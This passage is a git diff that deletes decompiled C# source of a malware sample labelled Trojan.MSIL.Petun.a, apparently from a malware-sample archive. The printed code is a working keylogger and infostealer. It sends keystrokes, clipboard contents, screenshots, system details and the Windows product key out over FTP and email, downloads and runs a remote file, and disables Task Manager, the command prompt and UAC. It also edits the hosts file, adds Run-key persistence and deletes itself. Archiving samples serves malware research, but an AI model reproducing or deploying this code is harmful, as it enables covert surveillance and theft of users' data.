= ref Module1.XWxfwimNn; - ref string local10 = ref Module1.vQidTyHIG; - ref string local11 = ref Module1.KBapiSzDX; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local12 = ref str1; - Module1.UpFTP(ref local8, ref local9, ref local10, ref local11, ref local12); - } - } - if (Module1.VrQIEQh) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.UFmoJl)) - System.IO.File.Delete(Path.GetTempPath() + Module1.UFmoJl); - MyProject.Computer.Network.DownloadFile(Module1.zCiCIQF, Path.GetTempPath() + Module1.UFmoJl); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.UFmoJl)) - { - if (Module1.biNaZp) - Process.Start(Path.GetTempPath() + Module1.UFmoJl, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.UFmoJl); - } - } - if (Module1.YGuPG) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.pMYmUlX == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.YpCqn) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.DOUQb) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.axeIY) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.bHDDB) - Interaction.Shell("C:\\Windows\\System32\\axeIY.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.DqqRa) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.MvrgBri + Module1.ONpWoae); - Process.Start(Module1.MvrgBri + Module1.ONpWoae); - if (Operators.CompareString(Module1.cWdHUTj, "Melt", false) == 0) - Module1.vRFOlg(); - else if (Operators.CompareString(Module1.cWdHUTj, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new hzwT(Module1.ygiEgky).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.eIXpKdX, "CurrentUser", false) == 0 | Operators.CompareString(Module1.eIXpKdX, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.vToNTPb.Length != 4) - { - string[] strArray = Strings.Split(Module1.vToNTPb, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.wKUE(); - switch (Module1.pMYmUlX) - { - case 3: - new Thread(new ThreadStart(Module1.EepjCy)).Start(); - break; - case 4: - esOQZj.Running = true; - break; - } - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.rWjiy, "", false) == 0); - string str = ""; - if (Module1.RaxsW) - str = str + "System Information - \r\n" + Module1.nqhHWP() + "\r\n"; - if (Module1.YOtDD) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.rWjiy = str + Module1.rWjiy; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.mPiO)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void mPiO() - { - string rWjiy = Module1.rWjiy; - Module1.rWjiy = ""; - if (Module1.xmHxoCMv) - { - ref string local1 = ref Module1.aGdvIvtn; - ref string local2 = ref Module1.TklHISpW; - ref string local3 = ref Module1.ytusxjcj; - ref string local4 = ref Module1.NpVFBpKz; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref rWjiy; - int integer = Conversions.ToInteger(Module1.yUhvdugk); - ref int local7 = ref integer; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7); - Module1.yUhvdugk = Conversions.ToString(integer); - } - if (!Module1.mFCYuTZVg) - return; - Module1.UpFTP(ref Module1.ZpFaOX, ref Module1.XWxfwimNn, ref Module1.vQidTyHIG, ref Module1.KBapiSzDX, ref rWjiy); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.FfRhk) * 60.0 * 1000.0)))); - - private static void yfnomr(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string JdreRr(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string nqhHWP() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.JdreRr((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.JdreRr((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void EepjCy() - { -label_0: - Module1.yfnomr(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.yfnomr(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void vRFOlg() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string aGdvIvtn, - ref string Dir, - ref string TklHISpW, - ref string ytusxjcj, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + aGdvIvtn + Dir + str2, TklHISpW, ytusxjcj); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + aGdvIvtn + Dir + str2 + ".gif", TklHISpW, ytusxjcj); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct tvnNc - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum ktusxV - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - vRTczhLaH = 35, // 0x00000023 - fZgKlWmqs = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - nCMuuhUuR = 45, // 0x0000002D - EXCasFspj = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - QYNsoonsd = 162, // 0x000000A2 - HkPNujEuk = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.tvnNc lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyApplication.cs deleted file mode 100644 index 2bf700f7..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyComputer.cs deleted file mode 100644 index e026a3c2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyProject.cs deleted file mode 100644 index 156cb7c0..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/ROS.cs deleted file mode 100644 index f1c795fd..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\YpCqn", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.eIXpKdX, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.csproj 